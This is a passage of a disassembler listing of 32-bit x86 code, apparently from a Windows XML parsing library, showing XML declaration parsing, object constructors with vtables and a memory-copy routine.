loc_69B21516: ; CODE XREF: sub_69B2132A+1DEj
mov ecx, esi
call sub_69B34A8C
loc_69B2151D: ; CODE XREF: sub_69B2132A+1EAj
test eax, eax
jz short loc_69B214E9
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B21526: ; CODE XREF: sub_69B2132A+195j
mov eax, 0C00CE51Ah
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B21530: ; CODE XREF: sub_69B2132A+1CBj
lea ecx, [esi+52h]
cmp word ptr [ecx], 3Eh
jnz short loc_69B21590
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B2154E
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B21555
; ---------------------------------------------------------------------------
loc_69B2154E: ; CODE XREF: sub_69B2132A+216j
mov ecx, esi
call sub_69B34A8C
loc_69B21555: ; CODE XREF: sub_69B2132A+222j
test eax, eax
jnz loc_69B21743
mov dword ptr [esi+48h], 0FFFFFFFEh
mov dword ptr [esi+44h], 40h
loc_69B2156B: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
push 1 ; jumptable 69B21341 case 10
mov ecx, esi
mov byte ptr [esi+8Dh], 1
call sub_69B3220F
test eax, eax
jl loc_69B21743
mov ecx, [esi+34h]
call sub_69B35D39
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B21590: ; CODE XREF: sub_69B2132A+20Dj
mov word ptr [esi+4], 5
jmp loc_69B2173A
; ---------------------------------------------------------------------------
loc_69B2159B: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
cmp byte ptr [esi+0A8h], 0 ; jumptable 69B21341 case 7
jnz short loc_69B215B6
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B215BD
; ---------------------------------------------------------------------------
loc_69B215B6: ; CODE XREF: sub_69B2132A+278j
mov ecx, esi
call sub_69B34A8C
loc_69B215BD: ; CODE XREF: sub_69B2132A+28Aj
test eax, eax
jnz loc_69B21743
mov ax, [esi+52h]
cmp ax, 6Dh
jz short loc_69B215E0
cmp ax, 4Dh
jz short loc_69B215E0
loc_69B215D5: ; CODE XREF: sub_69B2132A+2F4j
; sub_69B2132A+38Cj ...
mov word ptr [esi+4], 0Bh
jmp loc_69B2173A
; ---------------------------------------------------------------------------
loc_69B215E0: ; CODE XREF: sub_69B2132A+2A3j
; sub_69B2132A+2A9j
mov word ptr [esi+4], 8
loc_69B215E6: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
cmp byte ptr [esi+0A8h], 0 ; jumptable 69B21341 case 8
jnz short loc_69B21601
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B21608
; ---------------------------------------------------------------------------
loc_69B21601: ; CODE XREF: sub_69B2132A+2C3j
mov ecx, esi
call sub_69B34A8C
loc_69B21608: ; CODE XREF: sub_69B2132A+2D5j
test eax, eax
jnz loc_69B21743
mov ax, [esi+52h]
cmp ax, 6Ch
jz short loc_69B21620
cmp ax, 4Ch
jnz short loc_69B215D5
loc_69B21620: ; CODE XREF: sub_69B2132A+2EEj
mov word ptr [esi+4], 9
loc_69B21626: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
cmp byte ptr [esi+0A8h], 0 ; jumptable 69B21341 case 9
jnz short loc_69B21641
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B21648
; ---------------------------------------------------------------------------
loc_69B21641: ; CODE XREF: sub_69B2132A+303j
mov ecx, esi
call sub_69B34A8C
loc_69B21648: ; CODE XREF: sub_69B2132A+315j
test eax, eax
jnz loc_69B21743
mov ecx, [esi+34h]
mov eax, [ecx+48h]
cmp eax, [ecx+8]
jnz short loc_69B216A8
cmp byte ptr [esi+88h], 0
jnz short loc_69B21690
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+lpStr2]
push eax
call sub_69B35C65
push 0 ; char
push 3 ; nChar
push [ebp+lpStr2] ; lpStr2
push offset aXml ; "xml"
call sub_69B31FAA
test al, al
jnz short loc_69B21690
mov eax, 0C00CE576h
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B21690: ; CODE XREF: sub_69B2132A+338j
; sub_69B2132A+35Aj
push 0C00CE55Dh
push offset dword_69B21780
push 0Ah
mov ecx, esi
call sub_69B347A6
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B216A8: ; CODE XREF: sub_69B2132A+32Fj
xor edi, edi
mov di, [esi+52h]
push edi
call sub_69B31967
test eax, eax
jnz loc_69B215D5
cmp di, 3Ah
jz loc_69B215D5
mov eax, 0C00CE507h
jmp short loc_69B21743
; ---------------------------------------------------------------------------
loc_69B216CD: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
lea eax, [esi+52h] ; jumptable 69B21341 case 11
cmp word ptr [eax], 3Ah
jnz short loc_69B216F9
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B216EE
lea ecx, [esi+5Ch]
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B216F5
; ---------------------------------------------------------------------------
loc_69B216EE: ; CODE XREF: sub_69B2132A+3B3j
mov ecx, esi
call sub_69B34A8C
loc_69B216F5: ; CODE XREF: sub_69B2132A+3C2j
test eax, eax
jnz short loc_69B21743
loc_69B216F9: ; CODE XREF: sub_69B2132A+3AAj
mov word ptr [esi+4], 0Ch
loc_69B216FF: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
xor eax, eax ; jumptable 69B21341 case 12
mov ax, [esi+52h]
push eax
call sub_69B31967
test eax, eax
jz short loc_69B21734
push 2
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
test eax, eax
jl short loc_69B21743
mov ecx, esi
mov word ptr [esi+4], 1
call sub_69B32791
test eax, eax
jl short loc_69B21743
jmp short loc_69B2173A
; ---------------------------------------------------------------------------
loc_69B21734: ; CODE XREF: sub_69B2132A+3E3j
mov word ptr [esi+4], 2
loc_69B2173A: ; CODE XREF: sub_69B2132A+DDj
; sub_69B2132A+ECj ...
xor eax, eax
jmp short loc_69B21743
; ---------------------------------------------------------------------------
loc_69B2173E: ; CODE XREF: sub_69B2132A+11j
mov eax, 0C00CE512h ; default
loc_69B21743: ; CODE XREF: sub_69B2132A+50j
; sub_69B2132A+60j ...
pop edi
pop esi
pop ebx
leave
retn
sub_69B2132A endp
; ---------------------------------------------------------------------------
off_69B21748 dd offset loc_69B21348 ; DATA XREF: sub_69B2132A+17r
dd offset loc_69B213B0 ; jump table for switch statement
dd offset loc_69B213DB
dd offset loc_69B2141B
dd offset loc_69B21491
dd offset loc_69B214A1
dd offset loc_69B214EF
dd offset loc_69B2159B
dd offset loc_69B215E6
dd offset loc_69B21626
dd offset loc_69B2156B
dd offset loc_69B216CD
dd offset loc_69B216FF
align 10h
dword_69B21780 dd 6, 0 dd 1, 4, 3 dup(0)
dd 2, 2 dup(0)
dd 13h, 0
dd 3, 0C00CE507h, 0
db 5, 4 dup(0)
align 4
dd 4, 2 dup(0)
dd 9
dd offset aVersion_1 ; "version"
dd 5, 0Ch, 1Ch, 14h, 0
dd 6, 2 dup(0)
dd 17h, 0
dd 20h, 2 dup(0)
dd 6, 0
dd 8, 0Dh, 0FFFFFFFFh, 16h
dd offset a?_3 ; "?"
dd 1Ch, 9, 3 dup(0)
dd 0Ah, 2 dup(0)
dd 2
dd offset a?_3 ; "?"
dd 1Ch, 21h, 0
db 5, 4 dup(0)
align 4
dd 0Ch, 2 dup(0)
dd 9
dd offset aStandalone_1 ; "standalone"
dd 17h, 0Dh, 1Eh, 9
dd offset aEncoding_0 ; "encoding"
dd 0Eh, 0C00CE56Ch, 1Dh, 14h, 0
dd 0Fh, 2 dup(0)
dd 17h, 0
dd 10h, 2 dup(0)
dd 15h, 0
dd 11h, 0
dd 0FFFFFFFFh, 6, 0
dd 12h, 0Dh, 0FFFFFFFFh, 16h
dd offset a?_3 ; "?"
dd 1Ch, 13h, 3 dup(0)
dd 14h, 2 dup(0)
dd 2
dd offset a?_3 ; "?"
dd 1Ch, 22h, 0
db 5, 4 dup(0)
align 4
dd 16h, 2 dup(0)
dd 9
dd offset aStandalone_1 ; "standalone"
dd 17h, 0C00CE56Ch, 1Eh, 14h, 0
dd 18h, 2 dup(0)
dd 17h, 0
dd 19h, 2 dup(0)
dd 9
dd offset aYes ; "yes"
dd 1Fh, 1Eh, 0FFFFFFFFh, 2 dup(0)
dd 1Bh, 2 dup(0)
dd 2
dd offset a?_3 ; "?"
dd 1Ch, 0C00CE507h, 0
dd 2
dd offset asc_69B270DC ; ">"
dd 1Dh, 0C00CE507h, 0
dd 0Ah, 2 dup(0)
dd 41h, 0
dd 9
dd offset aNo ; "no"
dd 1Fh, 0C00CE579h, 0FFFFFFFFh, 6, 0
dd 1Ah, 0Dh, 0FFFFFFFFh, 9
dd offset a1_0 ; "1.0"
dd 7, 0C00CE57Fh, 0FFFFFFFFh, 13h, 0
dd 0Bh, 0C00CE507h, 0
dd 13h, 0
dd 15h, 0C00CE507h, 0
aNo: ; DATA XREF: .text:69B219DCo
; .data:69B92288o ...
unicode 0, <no>,0
align 4
aEncoding_0: ; DATA XREF: .text:69B21888o
unicode 0, <encoding>,0
align 4
aStandalone_1: ; DATA XREF: .text:69B21874o
; .text:69B2193Co
unicode 0, <standalone>,0
align 10h
aVersion_1: ; DATA XREF: .text:69B217D4o
unicode 0, <version>,0
; const WCHAR aYes
aYes: ; DATA XREF: sub_69B1F708+169o
; .text:69B21978o ...
unicode 0, <yes>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B21A88 proc near ; CODE XREF: sub_69B514F6+Dj
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
call sub_69B19118
push [ebp+arg_0]
xor edi, edi
mov dword ptr [esi], offset off_69B21BF8
lea eax, [esi+8]
mov [eax], edi
mov [esi+0Ch], edi
mov [esi+10h], edi
mov [esi+14h], edi
mov [esi+18h], edi
mov [esi+1Ch], edi
lea ebx, [esi+20h]
mov [ebx], edi
push eax
mov [esi+24h], edi
mov [esi+28h], edi
call sub_69B2DEB2
push [ebp+arg_4]
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, [ebp+arg_4]
mov edx, [ecx]
lea eax, [esi+1Ch]
push eax
push offset loc_69B21C40
push ecx
call dword ptr [edx]
push eax
call sub_69B8861E
mov ecx, [ebp+arg_4]
mov edx, [ecx]
lea eax, [esi+18h]
push eax
push offset loc_69B21C50
push ecx
call dword ptr [edx]
push eax
call sub_69B8861E
mov eax, [ebp+arg_4]
mov ecx, [eax]
push ebx
push offset dword_69B21C30
push eax
call dword ptr [ecx]
push eax
call sub_69B8861E
push [ebp+arg_8]
call sub_69B511ED
mov eax, [ebx]
mov edx, [eax]
push edi
lea ecx, [esi+24h]
push ecx
push edi
push [ebp+arg_8]
push 2
push 2
push eax
call dword ptr [edx+10h]
push eax
call sub_69B8861E
mov ebx, [ebx]
mov ecx, [ebx]
push edi
lea eax, [esi+28h]
push eax
push edi
push [ebp+arg_8]
push 1
push 2
push ebx
call dword ptr [ecx+10h]
push eax
call sub_69B8861E
push edi
push 1
push 80h
call sub_69B315DA
push eax
lea eax, [esi+10h]
push eax
call sub_69B17320
mov eax, [esi+40h]
and eax, 0FFFFFD8Fh
or eax, 18Fh
mov [esi+40h], eax
mov eax, [esi+44h]
and eax, 0FFFFFFE8h
or eax, 3E8h
push 0Ch
mov [esi+44h], eax
call sub_69B17EF3
cmp eax, edi
jz short loc_69B21B9B
push edi
mov ecx, eax
call sub_69B21C60
jmp short loc_69B21B9D
; ---------------------------------------------------------------------------
loc_69B21B9B: ; CODE XREF: sub_69B21A88+107j
xor eax, eax
loc_69B21B9D: ; CODE XREF: sub_69B21A88+111j
push eax
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 5E00h
call sub_69B1D897
cmp eax, edi
mov ebx, 1F54h
jz short loc_69B21BCF
push 3
pop ecx
push offset loc_69B5140C
push ecx
lea edi, [eax+4]
push ebx
push edi
mov [eax], ecx
call sub_69B5115F
loc_69B21BCF: ; CODE XREF: sub_69B21A88+130j
xor eax, eax
mov [esi+3Ch], edi
mov ecx, 177Fh
rep stosd
mov eax, [esi+3Ch]
push 3
lea ecx, [esi+30h]
pop edx
loc_69B21BE4: ; CODE XREF: sub_69B21A88+164j
mov [ecx], eax
add eax, ebx
add ecx, 4
dec edx
jnz short loc_69B21BE4
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B21A88 endp
; ---------------------------------------------------------------------------
align 4
off_69B21BF8 dd offset sub_69B2D67E ; DATA XREF: sub_69B21A88+12o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B51491
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B516E4
dword_69B21C30 dd 0C733A8Ch, 11CE2A1Ch, 0AA00E5ADh, 3D774400h; ---------------------------------------------------------------------------
loc_69B21C40: ; DATA XREF: sub_69B21A88+52o
add eax, 1C0C733Ah
sub cl, dh
adc [ebp+0AA00E5h], ebp
inc esp
ja short loc_69B21C8D
loc_69B21C50: ; DATA XREF: sub_69B21A88+69o
cmp byte ptr [edx], 73h
or al, 1Ch
sub cl, dh
adc [ebp+0AA00E5h], ebp
inc esp
ja short near ptr loc_69B21C9C+1
; =============== S U B R O U T I N E =======================================
sub_69B21C60 proc near ; CODE XREF: sub_69B21A88+10Cp
; sub_69B51279+20p
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B19118
mov eax, [esp+4+arg_0]
mov [esi+8], eax
mov dword ptr [esi], offset off_69B21C7C
mov eax, esi
pop esi
retn 4
sub_69B21C60 endp
; ---------------------------------------------------------------------------
align 4
off_69B21C7C dd offset sub_69B2D67E ; DATA XREF: sub_69B21C60+Fo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
db 7Dh ; } OFF32 SEGDEF [_text,69B1B57D]
; ---------------------------------------------------------------------------
loc_69B21C8D: ; CODE XREF: .text:69B21C4Ej
mov ch, 0B1h
imul eax, 7869B197h
xor byte ptr [ecx-4D29CD97h], 69h
loc_69B21C9C: ; CODE XREF: .text:69B21C5Ej
add al, 0E8h
mov dl, 69h
dec ebp
adc [ebp-4D0B6297h], esi
imul ebx, [ecx-0Bh], 97C069B2h
mov cl, 69h
; ---------------------------------------------------------------------------
dd offset nullsub_5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B71C05
loc_69B21CB4: ; CODE XREF: sub_69B71C05+Dj
push esi
mov esi, ecx
call sub_69B67CC1
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push [esp+8+arg_4]
mov ecx, esi
push [esp+0Ch+arg_0]
call sub_69B21D48
mov dword ptr [esi], offset off_69B21CE8
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B71C05
; ---------------------------------------------------------------------------
align 8
off_69B21CE8 dd offset sub_69B2D67E ; DATA XREF: sub_69B71C05-4FF2Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B704E3
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B730EB
dd offset sub_69B71B94
dd offset sub_69B71C1C
dd offset sub_69B703D6
dd offset sub_69B7235C
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset sub_69B7326E
dd offset sub_69B70336
dd offset sub_69B70274
dd offset nullsub_3
; =============== S U B R O U T I N E =======================================
sub_69B21D48 proc near ; CODE XREF: sub_69B71C05-4FF33p
; sub_69B703F0+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_8]
mov esi, ecx
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B21DC8
mov dword ptr [esi], offset off_69B21D68
mov eax, esi
pop esi
retn 0Ch
sub_69B21D48 endp
; ---------------------------------------------------------------------------
off_69B21D68 dd offset sub_69B2D67E ; DATA XREF: sub_69B21D48+14o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B704E3
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B730EB
dd offset sub_69B702BB
dd offset sub_69B70438
dd offset sub_69B703D6
dd offset sub_69B7235C
dd offset sub_69B703E2
dd offset sub_69B72CC3
dd offset sub_69B7326E
dd offset sub_69B70336
dd offset sub_69B70274
dd offset nullsub_3
; =============== S U B R O U T I N E =======================================
sub_69B21DC8 proc near ; CODE XREF: sub_69B21D48+Fp
; sub_69B732C4+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push 0
push [esp+8+arg_4]
mov esi, ecx
push [esp+0Ch+arg_0]
call sub_69B724DF
push [esp+4+arg_8]
lea eax, [esi+2Ch]
mov dword ptr [esi], offset off_69B21DF8
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 0Ch
sub_69B21DC8 endp
; ---------------------------------------------------------------------------
align 4
off_69B21DF8 dd offset sub_69B2D67E ; DATA XREF: sub_69B21DC8+19o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B704E3
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B730EB
dd offset sub_69B73229
dd offset sub_69B72DBF
dd offset sub_69B59D1C
dd offset sub_69B7235C
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset sub_69B7326E
dd offset sub_69B73101
dd offset sub_69B72E2D
dd offset nullsub_3
; =============== S U B R O U T I N E =======================================
sub_69B21E58 proc near ; CODE XREF: sub_69B754F1+Dj
push ebx
push esi
push edi
push 0
mov esi, ecx
call sub_69B72FBE
mov dword ptr [esi], offset off_69B21EA0
lea ebx, [esi+14h]
and dword ptr [ebx], 0
push 34h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 3
call sub_69B19118
push edi
push ebx
mov dword ptr [edi], offset off_69B21EE8
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn
sub_69B21E58 endp
; ---------------------------------------------------------------------------
align 10h
off_69B21EA0 dd offset sub_69B2D67E ; DATA XREF: sub_69B21E58+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B75506
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72FB8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B72FE6
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B75455
dd offset sub_69B75380
dd offset nullsub_3
dd offset sub_69B698CB
align 8
off_69B21EE8 dd offset sub_69B2D67E ; DATA XREF: sub_69B21E58+31o
; sub_69B75417+1Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B7559B
dd offset sub_69B8AB3A
dd offset sub_69B7552C
; =============== S U B R O U T I N E =======================================
sub_69B21F28 proc near ; CODE XREF: sub_69B778A6+10j
; .text:69B77A3Ep
push esi
mov esi, ecx
call sub_69B1BCE3
mov dword ptr [esi], offset off_69B22048
mov dword ptr [esi+0Ch], offset off_69B220C0
mov dword ptr [esi+24h], offset off_69B21FF8
mov dword ptr [esi+28h], offset off_69B21FB0
mov dword ptr [esi+2Ch], offset off_69B21F70
and dword ptr [esi+0F0h], 0
and dword ptr [esi+0F4h], 0
mov byte ptr [esi+8Ch], 1
mov eax, esi
pop esi
retn
sub_69B21F28 endp
; ---------------------------------------------------------------------------
align 10h
off_69B21F70 dd offset loc_69B3F4D5 ; DATA XREF: sub_69B21F28+23o
dd offset sub_69B3F55A
dd offset sub_69B3F8EA
dd offset sub_69B7748C
dd offset sub_69B3F4E7
dd offset sub_69B3F4EF
dd offset sub_69B3F4F7
dd offset sub_69B3F4FF
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B7789E
dd offset nullsub_6
dd offset sub_69B3D28C
off_69B21FB0 dd offset loc_69B3F4A3 ; DATA XREF: sub_69B21F28+1Co
dd offset loc_69B3F548
dd offset loc_69B3F8E3
dd offset loc_69B77484
dd offset loc_69B3F4B5
dd offset loc_69B3F4BD
dd offset loc_69B3F4C5
dd offset loc_69B3F4CD
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B77896
dd offset sub_69B3F552
dd offset sub_69B3F6B0
dd offset sub_69B3D73A
dd offset sub_69B3F570
off_69B21FF8 dd offset sub_69B3F471 ; DATA XREF: sub_69B21F28+15o
dd offset sub_69B3F53E
dd offset sub_69B3F8DC
dd offset sub_69B7747C
dd offset sub_69B3F483
dd offset sub_69B3F48B
dd offset sub_69B3F493
dd offset sub_69B3F49B
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B7788E
dd offset sub_69B3D5E1
dd offset sub_69B3F5CF
dd offset sub_69B3DFBE
dd offset sub_69B3F564
dd offset sub_69B3F51A
align 8
off_69B22048 dd offset sub_69B1BFF8 ; DATA XREF: sub_69B21F28+8o
dd offset sub_69B1E09D
dd offset sub_69B3F894
dd offset sub_69B778BE
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B3D1F0
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B77494
dd offset sub_69B772EC
dd offset sub_69B3FBE9
dd offset sub_69B3D746
dd offset sub_69B3D7A3
dd offset sub_69B77417
dd offset sub_69B3D284
dd offset sub_69B3F58D
dd offset sub_69B3F507
dd offset sub_69B3F50C
dd offset sub_69B3F516
dd offset sub_69B3F790
dd offset sub_69B3E242
dd offset sub_69B3E044
dd offset sub_69B77375
dd offset sub_69B773BE
dd offset sub_69B7742F
off_69B220C0 dd offset loc_69B3D766 ; DATA XREF: sub_69B1BCE3+42o
; sub_69B21F28+Eo ...
dd offset sub_69B88F7D
; =============== S U B R O U T I N E =======================================
sub_69B220C8 proc near ; CODE XREF: sub_69B2FF1E+304p
; sub_69B2FF1E+31Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_69B220E1
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_69B220E1: ; CODE XREF: sub_69B220C8+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_69B220C8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B11CAE
loc_69B220FC: ; CODE XREF: sub_69B11CAE+21j
xor eax, eax
jmp loc_69B11CD7
; END OF FUNCTION CHUNK FOR sub_69B11CAE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B22103 proc near ; CODE XREF: sub_69B310BE+7Ap
; sub_69B310BE+B8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_69B22123
cmp edi, eax
jb loc_69B22296
loc_69B22123: ; CODE XREF: sub_69B22103+16j
test edi, 3
jnz short loc_69B2213F
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_69B2215E
rep movsd
jmp ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------
loc_69B2213F: ; CODE XREF: sub_69B22103+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_69B22157
and eax, 3
add ecx, eax
jmp dword ptr ds:(loc_69B2215E+6)[eax*4]
; ---------------------------------------------------------------------------
loc_69B22157: ; CODE XREF: sub_69B22103+46j
jmp dword ptr ds:loc_69B2225C[ecx*4]
; ---------------------------------------------------------------------------
loc_69B2215E: ; CODE XREF: sub_69B22103+31j
; sub_69B22103+8Fj ...
jmp ds:off_69B221E0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_69B22174
dd offset loc_69B2219D
dd offset loc_69B221C0
; ---------------------------------------------------------------------------
loc_69B22174: ; DATA XREF: sub_69B22103+65o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_69B2215E
rep movsd
jmp ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------
loc_69B2219D: ; DATA XREF: sub_69B22103+69o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_69B2215E
rep movsd
jmp ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------
loc_69B221C0: ; DATA XREF: sub_69B22103+6Do
and edx, ecx
mov al, [esi]
mov [edi], al
add esi, 1
shr ecx, 2
add edi, 1
cmp ecx, 8
jb short loc_69B2215E
rep movsd
jmp ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_69B221E0 dd offset loc_69B22243 ; DATA XREF: sub_69B22103:loc_69B2215Er
dd offset loc_69B22230
dd offset loc_69B22228
dd offset loc_69B22220
dd offset loc_69B22218
dd offset loc_69B22210
dd offset loc_69B22208
dd offset loc_69B22200
; ---------------------------------------------------------------------------
loc_69B22200: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103+F9o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_69B22208: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103+F5o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_69B22210: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103+F1o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_69B22218: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103+EDo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_69B22220: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103+E9o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_69B22228: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103+E5o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_69B22230: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103+E1o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_69B22243: ; CODE XREF: sub_69B22103:loc_69B2215Ej
; DATA XREF: sub_69B22103:off_69B221E0o
jmp ds:off_69B2224C[edx*4]
; ---------------------------------------------------------------------------
align 4
off_69B2224C dd offset loc_69B2225C ; DATA XREF: sub_69B22103+35r
; sub_69B22103+93r ...
dd offset loc_69B22263
dd offset loc_69B2226E
dd offset loc_69B2227F
; ---------------------------------------------------------------------------
loc_69B2225C: ; CODE XREF: sub_69B22103+35j
; sub_69B22103+93j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_69B22263: ; CODE XREF: sub_69B22103+35j
; sub_69B22103+93j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_69B2226E: ; CODE XREF: sub_69B22103+35j
; sub_69B22103+93j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_69B2227F: ; CODE XREF: sub_69B22103+35j
; sub_69B22103+93j ...
mov al, [esi]
mov [edi], al
